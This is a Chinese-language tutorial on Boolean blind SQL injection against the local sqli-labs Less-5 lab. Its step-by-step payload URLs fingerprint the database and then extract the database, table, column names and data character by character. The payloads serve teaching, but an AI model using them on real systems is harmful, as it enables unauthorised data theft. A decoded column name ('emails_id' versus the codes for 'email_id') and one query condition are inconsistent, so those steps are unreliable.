Boolean盲注
在某些情况下开发者把目标网站的报错信息给屏蔽了,导致我们进行其他注入的情况下只会看到正常和空白的页面这样我们就不能判断我们在前端提交的恶意SQL语句是否在后台得到执行,这种情况下我们可以尝试盲注,盲注又分为Boolean盲注和时间注入(又称延时注入),我们可以尝试先使用效率相对比比较高的Boolean盲注
打开有SQL注入漏洞的目标网站我们要做的第一步是闭合后台SQL语句并使页面正常
http://127.0.0.1/sqli-labs/Less-5/?id=1' --+
如果单引号无法闭合后台的SQL语句可以尝试把单引号换成双引号、小括号或者将这三种符号随意组合。
判断目标网站使用的是何种数据库,以下只介绍MySQL、access、SQLserver数据库的判断
判断是否为MySQL数据库
http://127.0.0.1/sqli-labs/Less-5/?id=1' and exists(select * from information_schema.tables) --+
判断是否为access数据库
http://127.0.0.1/sqli-labs/Less-5/?id=1' and exists(select * from msysobjects) --+
判断是否为SQLserver数据库
http://127.0.0.1/sqli-labs/Less-5/?id=1' and exists(select * from sysobjects) --+
使用上面语句哪个语句返回正常就代表是哪种类型的数据库
接着我们需要判断一下数据库名有多少个字符
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length(database())>7 --+
当我们试到大于7时页面正常大于8时页面空白,因此我们可以推断出数据库名的长度为8个字符。
判断库名长度后,我们就要尝试猜解数据库名称了
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr(database(),1,1))=32 --+
因为手工测试会花费大量的时间和增加很多工作量,所以我们选择使用burp suite的intruder模块进行爆破,上面库名的爆破得出的ASCII码是“115,101,99,117,114,105,116,121”经过转码得出“security”
得出库名后我们要先判断表名的长度,这样才能使后面的测试不会出现差错,就比如完整的表名有12个字符而我们只爆破7个字符位置这样就会导致拿到手的表名是残缺的这就会使后面的测试出现错误
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>6 --+
大于5页面正常,大于6时页面返回空白,所以表名长度为6个字符,后面我们再继续进行爆破表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=32 --+
得出的ASCII码为“101,109,97,105,108,115”转换成UTF-8得出结果“emails”
后面我们在花一点时间判断一下字段的长度。
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 1,1))>7 --+
大于7时页面正常,大于8时页面返回空白因此emails表下第二个字段长度是8个字符
得出表中第二个字段名的长度为8个字符的结论,我们就可以爆破字段名啦
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() limit 1,1),1,1))=32 --+
得出ASCII码"101,109,97,105,108,95,105,100"转换成UTF-8得到结果"emails_id"
接着我们还得继续判断出该字段下的数据长度
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select email_id from emails limit 0,1))>15 --+
大于15时页面返回正常,大于16时页面返回空白因此第一个数据的长度为16个字符
最后就到了结尾工作“爆破数据”
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1))=32 --+
最后将爆破出来的ASCII码经过转码就能得到我们想要的数据